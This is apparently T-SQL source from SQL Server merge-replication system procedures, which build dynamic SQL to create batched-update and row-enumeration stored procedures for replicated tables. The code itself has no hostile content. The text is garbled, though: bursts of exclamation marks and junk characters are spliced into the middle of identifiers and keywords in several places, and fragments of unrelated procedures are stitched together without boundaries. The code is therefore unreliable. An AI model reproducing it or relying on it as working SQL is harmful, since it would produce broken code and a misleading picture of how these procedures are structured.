    select @rowcount = @@rowc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(_onv7/ount, @error = @@error'
    insert into @tempcmd (phase, cmdtext) values (40400, @cmdpiece)
end
else
begin
    select @cmdpiece = ') as rows
    inner join ' + @qualified_name + ' t with (rowlock) on rows.rowguid = t.' + @rgcolname + '
    and rows.rowguid is not NULL
    option (force order, loop join)
    select @rowcount = @@rowcount, @error = @@error'
    insert into @tempcmd (phase, cmdtext) values (40400, @cmdpiece)
end
select @cmdpiece = '
    select @rows_updated = @rowcount
    if (@rows_updated <> @rows_tobe_updated) or (@error <> 0)
    begin
        raiserror(20695, 16, -1, @rows_updated, @rows_tobe_updated, ''' + sys.fn_replreplacesinglequote(@tablename) + ''')
        set @errcode= 3
        goto Failure
    end'
insert into @tempcmd (phase, cmdtext) values (40500, @cmdpiece)

-- insert or update the contents entry
if 1 = @maintainsmetadata
begin
    select @cmdpiece = '
    update dbo.MSmerge_contents with (rowlock)
    set generation = rows.generation,
        lineage = rows.lineage_new,
        colv1 = rows.colv
    from ('
    insert into @tempcmd (phase, cmdtext) values (41000, @cmdpiece)
    -- phase 41100 is the virtual table containing just the metadata new columns
    select @cmdpiece = '
    ) as rows
    inner join dbo.MSmerge_contents cont with (rowlock) 
    on cont.rowguid = rows.rowguid and cont.tablenick = ' + @tablenickstr + '
    and rows.rowguid is not NULL 
    and rows.lineage_new is not NULL
    option (force order, loop join)
    select @cont_rows_updated = @@rowcount, @error = @@error
    if @error<>0
    begin
        set @errcode= 3
        goto Failure
    end'
    insert into @tempcmd (phase, cmdtext) values (41200, @cmdpiece)
    
    select @cmdpiece = '
    if @cont_rows_updated <> @rows_tobe_updated
    begin'
    insert into @tempcmd (phase, cmdtext) values (48000, @cmdpiece)
    if @partition_options > 1 and @atpublisher = 1
    begin
        select @cmdpiece = '
        if @partition_id is not null
        begin
            insert into dbo.MSmerge_current_partition_mappings with (rowlock)
            (tablenick, rowguid, publication_number, partition_id)
            select distinct ' + @tablenickstr + ', rows.rowguid, @publication_number, @partition_id
            from ('
        insert into @tempcmd (phase, cmdtext) values (48000, @cmdpiece)
        -- phase 48100 will be virtual table with the list of rowguids and lineage
        select @cmdpiece = '
            ) as rows
            left outer join dbo.MSmerge_contents cont with (rowlock) 
            on cont.rowguid = rows.rowguid and cont.tablenick = ' + @tablenickstr + '
            and rows.rowguid is not NULL
            and      rows.lineage_new is not null
            where    cont.rowguid is NULL
            and rows.rowguid is not null
            and      rows.lineage_new is not null
            
            if @@error<>0
            begin
                set @errcode= 3
                goto Failure
            end
        end'
        insert into @tempcmd (phase, cmdtext) values (48200, @cmdpiece)
    end
    -- insert into contents
    select @cmdpiece = '
        insert into dbo.MSmerge_contents with (rowlock)
        (tablenick, rowguid, lineage, colv1, generation)
        select ' + @tablenickstr + ', rows.rowguid, rows.lineage_new, rows.colv, rows.generation
        from ('
    insert into @tempcmd (phase, cmdtext) values (48300, @cmdpiece)
    -- phase 48400 will be virtual table with the list of rowguids and metadata
    select @cmdpiece = '
        ) as rows
        left outer join dbo.MSmerge_contents cont with (rowlock) 
        on cont.rowguid = rows.rowguid and cont.tablenick = ' + @tablenickstr + '
        and rows.rowguid is not NULL
        and rows.lineage_new is not NULL
        where cont.rowguid is NULL
        and rows.rowguid is not NULL
        and rows.lineage_new is not NULL
        
        if @@error<>0
        begin
            set @errcode= 3
            goto Failure
        end
    end'
    insert into @tempcmd (phase, cmdtext) values (48500, @cmdpiece)
end


if 1 = @maintainsmetadata
begin
    select @cmdpiece = '
    exec @retcode = sys.sp_MSdeletemetadataactionrequest ''' + convert(nvarchar(36),@pubid) + ''', ' + @tablenickstr
    set @rownumber = 1
    while @rownumber <= @batchingfactor
    begin
        select @cmdpiece = @cmdpiece + ', 
        @rowguid' + convert(nvarchar(3), @rownumber)
        select @rownumber = @rownumber + 1
    end
    select @cmdpiece = @cmdpiece + '
    if @retcode<>0 or @@error<>0
        goto Failure
    '
    insert into @tempcmd (phase, cmdtext) values (49000, @cmdpiece)
end

select @cmdpiece = '
    commit tran
    return 1

Failure:
    rollback tran batchupdateproc
    commit tran
    return 0
end
'
insert into @tempcmd (phase, cmdtext) values (50000, @cmdpiece)

-- this loop constructs the formal parameter declarations, the update statement with actual column names and
-- the union clause which does a union over all rows.
-- phase 10 is the declarations
select @command1 = ''
select @command2 = ''
select @command3 = ''
select @command4 = ''
set @colordinal = 1
set @rownumber = 1
select @filtering_column_check_start_phase = 0
while @rownumber <= @batchingfactor
begin
    -- insert the metadada parameters for this row.
    set @rownumberstr = convert(nvarchar(5), @rownumber)

    if 1 = @maintainsmetadata
    begin
        select @command1 = @command1 + ',
    @rowguid' + @rownumberstr + ' uniqueidentifier = NULL,
    @setbm' + @rownumberstr + ' varbinary(125) = NULL,
    @metadata_type' + @rownumberstr + ' tinyint = NULL,
    @lineage_old' + @rownumberstr + ' varbinary(311) = NULL,
    @generation' + @rownumberstr + ' bigint = NULL,
    @lineage_new' + @rownumberstr + ' varbinary(311) = NULL,
    @colv' + @rownumberstr + ' varbinary(' + convert(nvarchar(13), @max_colv_size_in_bytes) + ') = NULL'
        --insert into @tempcmd (phase, cmdtext) values (10, @cmdpiece)

        -- phase 40300 is for update of user table where we need rowguid, setbm, metadata_type and lineage_old
        -- to the virtual table in this phase we will add the user table columns
        if @rownumber = 1
            select @command2 = @command2 + '
    select @rowguid' + @rownumberstr + ' as rowguid, @setbm' + @rownumberstr + ' as setbm, @metadata_type' + @rownumberstr + ' as metadata_type, @lineage_old' + @rownumberstr + ' as lineage_old'
        else
            select @command2 = @command2 + ' union all
    select @rowguid' + @rownumberstr + ' as rowguid, @setbm' + @rownumberstr + ' as setbm, @metadata_type' + @rownumberstr + ' as metadata_type, @lineage_old' + @rownumberstr + ' as lineage_old'
        --insert into @tempcmd (phase, cmdtext) values (40300, @cmdpiece)

        -- phase 41100 is the virtual table containing just the metadata new columns, used to update contents
        if @rownumber = 1
            select @command3 = @command3 + '
    select @rowguid' + @rownumberstr + ' as rowguid, @generation' + @rownumberstr + ' as generation, @lineage_new' + @rownumberstr + ' as lineage_new, @colv' + @rownumberstr + ' as colv'
        else
            select @command3 = @command3 + ' union all
    select @rowguid' + @rownumberstr + ' as rowguid, @generation' + @rownumberstr + ' as generation, @lineage_new' + @rownumberstr + ' as lineage_new, @colv' + @rownumberstr + ' as colv'
        if (datalength(@command3) > 7500) or (@rownumber = @batchingfactor)
        begin
            insert into @tempcmd (phase, cmdtext) values (41100, @command3)

            -- phase 48400 is for the virtual table that inserts into contents
            insert into @tempcmd (phase, cmdtext) values (48400, @command3)

            select @command3 = ''
        end
                    
        -- this will be used to insert into current partition mappings
        i!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(`ov7/f @partition_options > 1 and @atpublisher = 1
        begin
            if @rownumber = 1
                select @command4 = @command4 + '
                select @rowguid' + @rownumberstr + ' as rowguid, @lineage_new' + @rownumberstr + ' as lineage_new'
            else 
                select @command4 = @command4 + ' union all
                select @rowguid' + @rownumberstr + ' as rowguid, @lineage_new' + @rownumberstr + ' as lineage_new'
            if (datalength(@command4) > 7500) or (@rownumber = @batchingfactor)
            begin
                insert into @tempcmd (phase, cmdtext) values (48100, @command4) 
                select @command4 = ''
            end
        end
    end
    else
    begin
        select @command1 = @command1 + ',
        @rowguid' + @rownumberstr + ' uniqueidentifier = NULL,
        @setbm' + @rownumberstr + ' varbinary(125) = NULL'
        --insert into @tempcmd (phase, cmdtext) values (10, @cmdpiece)

        if @rownumber = 1
            select @command2 = @command2 + '
            select @rowguid' + @rownumberstr + ' as rowguid, @setbm' + @rownumberstr + ' as setbm'
        else 
            select @command2 = @command2 + ' union all
            select @rowguid' + @rownumberstr + ' as rowguid, @setbm' + @rownumberstr + ' as setbm'
        --insert into @tempcmd (phase, cmdtext) values (40300, @cmdpiece)
    end


    -- now loop over columns 
    select @colnumber = 1
    select @filtering_column_number = 1
    if @sync_objid = @id
        select @colid = min (column_id) from sys.columns where object_id = @id and is_computed=0 and user_type_id<>type_id('timestamp') 
    else
        select @colid = min(cs.column_id) 
            from sys.columns cs inner join sys.columns co on co.object_id=@id and co.name = cs.name
        where cs.object_id = @sync_objid and 
              co.is_computed=0 and co.user_type_id<>type_id('timestamp') 

    select top 1 @colname = QUOTENAME(C.name), 
    @unquoted_colname = C.name,
    @typename = type_name(C.user_type_id), 
    @base_typename = type_name(C.system_type_id),     
    @len = C.max_length,
    @schname=case when S.name<>'sys' and S.name<>'dbo'
                                    then QUOTENAME(S.name)+'.' else '' end, 
    @prec = C.precision, 
    @scale = C.scale
    from sys.columns C  
            INNER JOIN sys.types T ON C.user_type_id = T.user_type_id
            INNER JOIN sys.schemas S ON T.schema_id = S.schema_id            
    where C.object_id = @sync_objid and C.column_id = @colid
    
    select @isidentitycolumn = is_identity, 
           @iscomputed=is_computed, 
           @xtype=user_type_id, 
           @isrowguidcol = is_rowguidcol,
           @is_identitynotforreplication = convert(bit, isnull(columnproperty(@id, name, 'IsIdNotForRepl'), 0)) 
        from sys.columns 
        where object_id = @id and QUOTENAME(name) = @colname
    if @base_typename='nvarchar' or @base_typename='nchar' -- a unit of nchar takes 2 bytes
        select @len = @len/2

    while (@colname is not null)
    begin
        if (@isidentitycolumn = 1 or @iscomputed=1 OR type_name(@xtype)='timestamp')
            goto Next_Column

        set @colordstr = convert(nvarchar(4), @colordinal)
        set @colidstr = convert(nvarchar(4), @colid)

        if @generate_subscriber_proc = 0
            exec @retcode = sys.sp_MSmaptype @typename out, @len, @prec, @scale
        else
            exec @retcode = sys.sp_MSmap_subscriber_type @xtype, @len, @prec, @scale, @schema_option, @typename out, @schname out
        if @@error<>0 OR @retcode <>0 return (1)
        
        select @argname = '@p' + rtrim(convert(nchar, @colordinal))
        select @colalias = 'c' + @colidstr
        
        -- add to argument list (phase 1)
        set @command1 = @command1 + ',
    ' + @argname + ' ' + @schname + @typename + ' = NULL'
        if (datalength(@command1)>7000) or (@rownumber = @batchingfactor)
        begin 
            insert into @tempcmd (phase, cmdtext) values (10, @command1)
            select @command1 = ''
        end

        if @isrowguidcol = 1
            goto Next_Column
        
        set @is_filtering_column = 0
        -- does updating this column change membership in a partial replica? 
        
        if exists (select * from dbo.sysmergearticles 
            where objid = @id and pubid = @pubid and sys.fn_MSisfilteredcolumn(subset_filterclause, @unquoted_colname, @id) = 1)
            set @is_filtering_column = 1
        else if exists (select * from dbo.sysmergesubsetfilters
            where art_nickname = @tablenick and pubid = @pubid and sys.fn_MSisfilteredcolumn(join_filterclause, @unquoted_colname, @id) = 1)
            set @is_filtering_column = 1
        else if exists (select * from dbo.sysmergesubsetfilters
            where join_nickname = @tablenick and pubid = @pubid and sys.fn_MSisfilteredcolumn(join_filterclause, @unquoted_colname, @id) = 1)
            set @is_filtering_column = 1
        if @is_filtering_column = 1
        begin
            declare @start_phase int

            select @start_phase = @filtering_column_check_start_phase + @filtering_column_number*50
            -- we need to check if any partitioning/filtering column is being updated in the beginning of the
            -- batched update proc. Add the code for doing that here.
            -- if so abort the batched update proc and the merge agent should revert to singleton updates. 
            if @rownumber = 1
            begin
                select @cmdpiece = '
    select @filtering_column_updated = 0

    -- case 1 of setting the filtering column where we are setting it to NULL and the table has a non NULL value for this column
    select @filtering_column_updated = 1 from 
        ('
                insert into @tempcmd (phase, cmdtext) values (@start_phase, @cmdpiece)
                -- phase 60 is the rows virtual table contains rowguid, filtering column and setbm
                select @cmdpiece = '
            select @rowguid' + @rownumberstr + ' as rowguid, ' + @argname + ' as ' + @colalias + ', @setbm' + @rownumberstr + ' as setbm'
                insert into @tempcmd (phase, cmdtext) values (@start_phase+10, @cmdpiece)
                
                select @cmdpiece = '
        ) as rows
        inner join ' + @qualified_name + ' t with (rowlock) 
        on t.' + @rgcolname + ' = rows.rowguid and rows.rowguid is not NULL
        where rows.' + @colalias + ' is NULL and sys.fn_IsBitSetInBitmask(rows.setbm, ' + @colordstr + ') <> 0 and t.' + @colname + ' is not NULL
        
    if @filtering_column_updated = 1
    begin
        raiserror(20694, 16, -1, ''' + sys.fn_replreplacesinglequote(@tablename) + ''', ''' + sys.fn_replreplacesinglequote(@colname) + ''')
        set @errcode=4
        goto Failure
    end

    -- case 2 of setting the filtering column where we are setting it to a not null value and the value is not equal to the value in the table
    select @filtering_column_updated = 1 from 
        ('
                insert into @tempcmd (phase, cmdtext) values (@start_phase+20, @cmdpiece)
                -- following phase is the rows virtual table contains rowguid, filtering column and setbm
                select @cmdpiece = '
            select @rowguid' + @rownumberstr + ' as rowguid, ' + @argname + ' as ' + @colalias
                insert into @tempcmd (phase, cmdtext) values (@start_phase+30, @cmdpiece)

                select @cmdpiece = '
        ) as rows
        inner join ' + @qualified_name + ' t with (rowlock) 
        on t.' + @rgcolname + ' = rows.rowguid and rows.rowguid is not NULL
        where rows.' + @colalias + ' is not NULL and (t.' + @colname + ' is NULL or t.' + @colname + ' <> rows.' + @colalias + ' )   

    if @filtering_column_updated = 1
    begin
        raiserror(20694, 16, -1, ''' + sys.fn_replreplacesingl!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<aB_	67/equote(@tablename) + ''', ''' + sys.fn_replreplacesinglequote(@colname) + ''')
        set @errcode=4
        goto Failure
    end'
                insert into @tempcmd (phase, cmdtext) values (@start_phase+40, @cmdpiece)
            end
            else
            begin
                select @cmdpiece = ' union all
            select @rowguid' + @rownumberstr + ' as rowguid, ' + @argname + ' as ' + @colalias + ', @setbm' + @rownumberstr + ' as setbm'
                insert into @tempcmd (phase, cmdtext) values (@start_phase+10, @cmdpiece)
                select @cmdpiece = ' union all
            select @rowguid' + @rownumberstr + ' as rowguid, ' + @argname + ' as ' + @colalias 
                insert into @tempcmd (phase, cmdtext) values (@start_phase+30, @cmdpiece)
            end
            select @filtering_column_number = @filtering_column_number + 1
            goto Next_Column
        end

        -- only non filtering columns will be part of the update statement
        -- peformance optimization to concatenate.
        if (@colid%10) = 0
            select @command2 = @command2 + ', 
            '
        else
            select @command2 = @command2 + ', '
            
        select @command2 = @command2 + @argname + ' as ' + @colalias
        -- phase 40300 should also contain the list of user columns and metadata columns.
        if (datalength(@command2)>7500) or (@rownumber = @batchingfactor)
        begin
            insert into @tempcmd (phase, cmdtext) values (40300, @command2)
            select @command2 = ''
        end
        if @rownumber = 1
        begin
            -- this is the actual update statement with set c1=rows.c1
            if @updatecolumnsstarted = 0
            begin
                select @updatecolumnsstarted = 1
                select @cmdpiece = ''
            end
            else
                select @cmdpiece = ','
            -- this is the select list from the virual table to be specified in the
            -- select statement from which we insert
            select @cmdpiece = @cmdpiece + '
        ' + @colname + ' = case when rows.' + @colalias + ' is NULL then (case when sys.fn_IsBitSetInBitmask(rows.setbm, ' + @colordstr + ') <> 0 then rows.' + @colalias + ' else t.' + @colname + ' end) else rows.' + @colalias + ' end '
            insert into @tempcmd (phase, cmdtext) values (40100, @cmdpiece)
        end

Next_Column:
        -- now set up to repeat the loop with the next column
        if @sync_objid = @id
            select @colid = min (column_id) from sys.columns where object_id = @id and is_computed=0 and user_type_id<>type_id('timestamp') and column_id > @colid 
        else
            select @colid = min(cs.column_id) 
                from sys.columns cs inner join sys.columns co on co.object_id=@id and co.name = cs.name
            where cs.object_id = @sync_objid and 
                  co.is_computed=0 and co.user_type_id<>type_id('timestamp') and cs.column_id > @colid 
	
            
        set @colname = NULL
        if @colid is not null

            select top 1 @colname = QUOTENAME(C.name), 
            @unquoted_colname = C.name,
            @isidentitycolumn = C.is_identity,
            @typename = type_name(C.user_type_id), 
            @base_typename = type_name(C.system_type_id), 
            @len = C.max_length,
            @schname=case when S.name<>'sys' and S.name<>'dbo'
                                        then QUOTENAME(S.name)+'.' else '' end, 
            @prec = C.precision, 
            @scale = C.scale
            from sys.columns C  
                    INNER JOIN sys.types T ON C.user_type_id = T.user_type_id
                    INNER JOIN sys.schemas S ON T.schema_id = S.schema_id            
            where C.object_id = @sync_objid and C.column_id = @colid
        
        select @isidentitycolumn = is_identity, 
               @iscomputed=is_computed, 
               @xtype=user_type_id, 
               @isrowguidcol = is_rowguidcol,
               @is_identitynotforreplication = convert(bit, isnull(columnproperty(@id, name, 'IsIdNotForRepl'), 0)) 
            from sys.columns 
            where object_id = @id and QUOTENAME(name) = @colname
            
        if @base_typename='nvarchar' or @base_typename='nchar' -- a unit of nchar takes 2 bytes
            select @len = @len/2
        set @colordinal = @colordinal + 1
        set @colnumber = @colnumber + 1
    end
    select @rownumber = @rownumber + 1
end

-- Now we select out the command text pieces in proper order so that our caller,
-- xp_execresultset will execute the command that creates the stored procedure.
select cmdtext from @tempcmd order by phase, step

--drop table @tempcmd

return(0)


Failure:
    --drop table @tempcmd
    return(1)

PVPVce = @rowguidunionclause3
    insert into @tempcmd (cmdtext) values (@cmdpiece)
    select @cmdpiece = @rowguidunionclause4 + '
        ) as rows '
    insert into @tempcmd (cmdtext) values (@cmdpiece)
    select @cmdpiece = '
        left outer join ' + @qualified_name + ' t with (rowlock) 
        on t.' + @rgcol + ' = rows.rowguid
                and rows.rowguid is not null
        where rows.rowguid is not NULL
        order by rows.sortcol
                                
        if @@error <> 0 
            return 1
    end
    '
    insert into @tempcmd (cmdtext) values (@cmdpiece)
end

select cmdtext from @tempcmd order by step
--drop table @tempcmd
$k$k             exec @retcode= sys.sp_MSsetrowmetadata 
                @tablenick, @rowguid, @generation, 
                @lineage_new, NULL, @new_metatype, NULL, 90
                IF @@ERROR<>0 or @retcode<>0
                begin
                        set @errcode= 0
                        close original_rows_2
                        deallocate original_rows_2
                        goto Failure
                end
            end
            fetch original_rows_2 into @tablenick, @rowguid, @generation, @lineage_new, @new_metatype
        end
        close original_rows_2
        deallocate original_rows_2

        commit tran

    end


    drop table #notbelong
    
    return 1 -- in sp_MSdelsubrows, 1=okay

Failure:
    -- instead of checking @@trancount, check our bit flag. This is safer as we can rely on it whether or not we are called 
    -- from an outer transaction.
    if (@transaction_started = 1)
    begin
        rollback tran start_of_batch
        commit tran
    end


    drop table #notbelong

    if @errcode = 1
        set @errcode = 0

    return(@errcode) -- in sp_MSdelsubrows, 0=error

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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id uniqueidentifier,  @artid uniqueidentifier,
     @generate_downlevel_procs bit = 0, @generate_subscriber_proc bit = 0, @destination_owner sysname = NULL)
as
declare @retcode            smallint
declare @argname            nvarchar(10)
declare @varname            nvarchar(10)
declare @columns            varbinary(128)
declare @cmdpiece           nvarchar(4000)
declare @qualified_name     nvarchar(270)
declare @prefixed_column_list nvarchar(max)
declare @prefixed_column_list_blob nvarchar(max) -- list of columns with blob columns in the end.
declare @littlecomp nvarchar(300)
declare @colid              int
declare @max_length         int
declare @col_name           nvarchar(140)
declare @id                 int
declare @idstr              nvarchar(100)
declare @sync_objid         int
declare @tablenick          int
declare @rgcol              nvarchar(140)
declare @logical_record_view int
declare @iscoltracked bit
declare @maintainsmetadata bit
declare @loop_counter       int
declare @maxschemaguid  uniqueidentifier
declare @replnick binary(6)
declare @partition_options tinyint
declare @atpublisher bit
declare @rgcolname nvarchar(140)
declare @out_of_partition_check nvarchar(4000)
declare @cmdpiece_max       nvarchar(max)


-- The order of columns in the result set is changed so that
-- all blob columns follow all non-blob columns. This is done so
-- that the row can be read sequentially (DBPROP_ACCESSORDER = DBPROPVAL_AO_SEQUENTIALSTORAGEOBJECTS)
declare @column_list_result    table (
            line_no int identity(1,1) primary key, 
            line nvarchar(4000),
            line2 nvarchar(4000) NULL)

-- Need the list of columns as it appears in the
-- user table to return in response to sp_MSenumcolumns
declare @column_list_actual    table (
            line_no int identity(1,1) primary key, 
            line nvarchar(4000),
            line2 nvarchar(4000) NULL)

declare @xtype int
            , @system_type_id int
            , @view_has_blob bit
            , @column_is_blob bit
            , @colidstr nvarchar(5)

set @view_has_blob=0
set @column_is_blob=0
            
set nocount on

if @ownername is NULL or @ownername=''
    select @qualified_name = QUOTENAME(@tablename)
else    
    select @qualified_name = QUOTENAME(@ownername) + '.' + QUOTENAME(@tablename)

select @id = object_id(@qualified_name)
select @rgcol = quotename(name) from sys.columns where object_id = @id and is_rowguidcol = 1

select @sync_objid=sync_objid, @tablenick = nickname, @iscoltracked = column_tracking
from dbo.sysmergearticles where artid=@artid and pubid=@pubid
if @tablenick is NULL
    return (1)

select @logical_record_view = logical_record_view from dbo.sysmergepartitioninfo where artid = @artid and pubid=@pubid
set @idstr = rtrim(convert(nchar, @id)) 
set @prefixed_column_list = ''
set @prefixed_column_list_blob = ''

select @maxschemaguid = sys.fn_GetArticleSchemaVersionGuid(@artid, @pubid)

if @generate_subscriber_proc = 1
begin
    select @atpublisher = 0
    select @qualified_name = quotename(@destination_owner) + '.' + quotename(@tablename)
    if exists (select 1 from dbo.sysmergearticles where artid=@artid and pubid=@pubid and upload_options in (1,2))
        select @maintainsmetadata = 0
    else
        select @maintainsmetadata = 1
end
else
begin
    select @maintainsmetadata= sys.fn_MSarticle_allows_DML_at_this_replica(@artid, default)
    select @atpublisher = sys.fn_MSmerge_islocalpubid(@pubid)
end

/*
** Do not allow out of partition deletes at the publisher.
** Check to see if the row being deleted is in the partition
** before deleting it.
*/
select @partition_options = partition_options
    from dbo.sysmergepartitioninfoview where objid=@id and pubid=@pubid

select @out_of_partition_check = ' '
if @atpublisher = 1 AND @partition_options > 0
begin
    -- Get the column name for the rowguid column.
    select @rgcolname = QUOTENAME(name) from sys.columns where object_id = @id and is_rowguidcol = 1
    if @rgcolname is null
        set @rgcolname = 'rowguid'

    if exists (select * from dbo.sysmergearticles where pubid = @pubid and objid = @id
                                            and len(subset_filterclause) > 0)
                                    or exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid and 
                                                    (art_nickname = @tablenick or join_nickname = @tablenick))
    begin        
        select @out_of_partition_check = '
        if not exists (select 1 from ' + QUOTENAME(OBJECT_NAME(sync_objid))
            from dbo.sysmergearticles where pubid = @pubid and objid = @id
        set @out_of_partition_check = @out_of_partition_check + ' where ' + @rgcolname + ' = @rowguid) 
        begin
            raiserror(20734, 16, -1, ''' + sys.fn_replreplacesinglequote(@tablename) + ''', ' + convert(char(3), @partition_options) + ')
            return (1)
        end'
    end    
end


/*
** Include computed columns.
*/
if exists (select 1 from sys.columns  
                where object_id=@id and 
                --(sys.fn_IsTypeBlob(system_type_id, max_length)= 1)
                (system_type_id in (type_id('image'), type_id('text'), type_id('ntext'), type_id('xml')) or max_length = -1)
                and (name in (select name from sys.columns where object_id=@sync_objid))
              )
    set @view_has_blob=1

IF @view_has_blob=1 
    or exists (select name from sys.columns where object_id = @id and (name not in 
                    (select name from sys.columns where object_id = @sync_objid)))
    or exists (select name from sys.columns where object_id=@id and (is_computed=1 or user_type_id = type_id('timestamp')))
BEGIN

    select @loop_counter = 1
    while(@loop_counter <= 2)
    begin
        DECLARE column_cursor CURSOR LOCAL FAST_FORWARD FOR
            select name, user_type_id, system_type_id, column_id,max_length from sys.columns where object_id=@id 
                    and is_computed<>1 
                    and user_type_id <> type_id('timestamp' )
                    and name in (select name from sys.columns where object_id=@sync_objid)
                    order by column_id asc
        FOR READ ONLY
        open column_cursor
        fetch next from column_cursor into @col_name, @xtype, @system_type_id, @colid,@max_length
        WHILE (@@fetch_status <> -1)
        BEGIN

            set @column_is_blob=0
            if @view_has_blob=1 and (sys.fn_IsTypeBlob(@system_type_id, @max_length)= 1)
                select @column_is_blob=1
            set @colidstr =convert(nvarchar(4), @colid)
            
            if @loop_counter=1
            begin
                if @prefixed_column_list=''
                    select @prefixed_column_list = 't.' + quotename(@col_name)
                else
                    select @prefixed_column_list = @prefixed_column_list + ', t.' + quotename(@col_name)        
            end

            if @prefixed_column_list_blob=''
            begin
                -- Insert non blob column in the first iteration through the loop
                -- so that they are before any blob columns.
                -- Insert blob columns in the second iteration through the loop
                -- so that they are in the end of the result set.
                if ((@column_is_blob <> 1 and @loop_counter=1) or (@column_is_blob=1 and @loop_counter=2))
                    select @prefixed_column_list_blob = 't.' + quotename(@col_name)
            end
            else
            begin
                -- Insert non blob column in the first iteration through the loop
                -- so that they are before any blob columns.
                -- Insert blob columns in the second iteration!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(c0v)= through the loop
                -- so that they are in the end of the result set.
                if ((@column_is_blob <> 1 and @loop_counter=1) or (@column_is_blob=1 and @loop_counter=2))
                select @prefixed_column_list_blob = @prefixed_column_list_blob + ', t.' + quotename(@col_name)
            end
                    
            if ColumnProperty(@id, @col_name, 'isrowguidcol') = 1
                select @col_name='t.rowguidcol'
            else
                set @col_name = 't.' + QUOTENAME(@col_name)


            -- Fill the the column_list_actual in the first iteration.
            if @loop_counter=1
            begin
                if (select count(*) from @column_list_actual) = 0
                    insert into @column_list_actual(line, line2) values (@col_name, @col_name)
                else -- add a end of line character
                    insert into @column_list_actual(line, line2) 
                        values (',
        '+@col_name, ',
        '+@col_name)    
            end

            -- Insert non blob column in the first iteration through the loop
            -- so that they are before any blob columns.
            -- Insert blob columns in the second iteration through the loop
            -- so that they are in the end of the result set.
            if (select count(*) from @column_list_result) = 0
            begin
                if ((@column_is_blob <> 1 and @loop_counter=1) or (@column_is_blob=1 and @loop_counter=2))
                    insert into @column_list_result(line, line2) values (@col_name, @col_name)
            end
            else
            begin
                if ((@column_is_blob <> 1 and @loop_counter=1) or (@column_is_blob=1 and @loop_counter=2))
                    insert into @column_list_result(line, line2) 
                    values (',
        '+@col_name, ',
        '+@col_name)
            end
            
            fetch next from column_cursor into @col_name, @xtype, @system_type_id, @colid, @max_length            
        END
        close column_cursor
        deallocate column_cursor

        select @loop_counter = @loop_counter + 1
    end -- loop_counter
    if (select count(*) from @column_list_result) = 0
    begin
        RAISERROR(21125, 16, -1)
        return (1)
    end
END
else 
begin
    insert into @column_list_result(line, line2) values ('t.*', 't.*')
    insert into @column_list_actual(line, line2) values ('t.*', 't.*')
    select @prefixed_column_list = 't.*'
    select @prefixed_column_list_blob = 't.*'
end


if @generate_subscriber_proc = 0
    update dbo.sysmergepartitioninfo set column_list = @prefixed_column_list, column_list_blob =  @prefixed_column_list_blob where artid = @artid and pubid=@pubid
else
begin
    select @cmdpiece_max = '
update dbo.sysmergepartitioninfo 
    set column_list = ''' + sys.fn_replreplacesinglequote(@prefixed_column_list) + ''', 
        column_list_blob = ''' + sys.fn_replreplacesinglequote(@prefixed_column_list_blob) + '''
    where artid = ''' + convert(nvarchar(36),@artid) + ''' and pubid = ''' + convert(nvarchar(36),@pubid) + ''''
    select @cmdpiece_max
end

/*
** Check for dbo permission
*/
exec @retcode=sys.sp_MSreplcheck_subscribe
if @retcode<>0 or @@ERROR<>0 return (1)

set @cmdpiece= 'SET ANSI_NULLS ON SET QUOTED_IDENTIFIER ON'
if @generate_subscriber_proc = 0
    exec (@cmdpiece)
else
    select @cmdpiece
if @@error<>0 return(1)

exec @retcode = sys.sp_MSgetreplnick @replnick = @replnick out
if (@retcode<>0) or @replnick IS NULL
begin
    raiserror(14055, 11, -1)
    return(1)
end

-- create temp table to select the command text out of
declare @tempcmd table (step int identity NOT NULL, cmdtext nvarchar(4000) collate database_default null)

/* For Yukon version of this proc, add the @maxschemaguidforarticle as the first parameter */
if (0 = @generate_downlevel_procs)
begin
    select @cmdpiece = '
    create procedure dbo.'  + QUOTENAME(@procname) + ' (
        @maxschemaguidforarticle uniqueidentifier,
        @type int output, 
        @rowguid uniqueidentifier=NULL,
        @enumentirerowmetadata bit= 1,
        @blob_cols_at_the_end bit=0,
        @logical_record_parent_rowguid uniqueidentifier = ''00000000-0000-0000-0000-000000000000'',
        @metadata_type tinyint = 0,
        @lineage_old varbinary(311) = NULL,
        @rowcount int = NULL output
        ) 
    as
    begin
        declare @retcode    int
        
        set nocount on
            
        if ({ fn ISPALUSER(''' + convert(nvarchar(36),@pubid) + ''') } <> 1)
        begin       
            RAISERROR (14126, 11, -1)
            return (1)
        end '

end
else
begin
    select @cmdpiece = '
    create procedure dbo.'  + QUOTENAME(@procname) + ' (
        @type int output, 
        @rowguid uniqueidentifier=NULL,
        @enumentirerowmetadata bit= 1,
        @blob_cols_at_the_end bit=0,
        @logical_record_parent_rowguid uniqueidentifier = ''00000000-0000-0000-0000-000000000000'',
        @metadata_type tinyint = 0,
        @lineage_old varbinary(311) = NULL,
        @rowcount int = NULL output
        ) 
    as
    begin
        declare @retcode    int
        set nocount on
            
        if ({ fn ISPALUSER(''' + convert(nvarchar(36),@pubid) + ''') } <> 1)
        begin       
            RAISERROR (14126, 11, -1)
            return (1)
        end '
end

insert into @tempcmd (cmdtext) values (@cmdpiece)

if (0 = @generate_downlevel_procs) and (@generate_subscriber_proc = 0)
begin
    set @cmdpiece= '
    declare @maxschemaguid  uniqueidentifier
    select @maxschemaguid = ''' + convert(nvarchar(36),@maxschemaguid) + '''
    if ((@maxschemaguidforarticle IS NOT NULL) and (@maxschemaguid <> @maxschemaguidforarticle))
    begin
        RAISERROR (25007, 11, -1)
        return 5
    end'
    insert into @tempcmd (cmdtext) values (@cmdpiece)
end

select @cmdpiece= '
    if @type = 1
        begin
            select ' 
insert into @tempcmd (cmdtext) values (@cmdpiece)


insert into @tempcmd (cmdtext) select line from @column_list_actual order by line_no asc
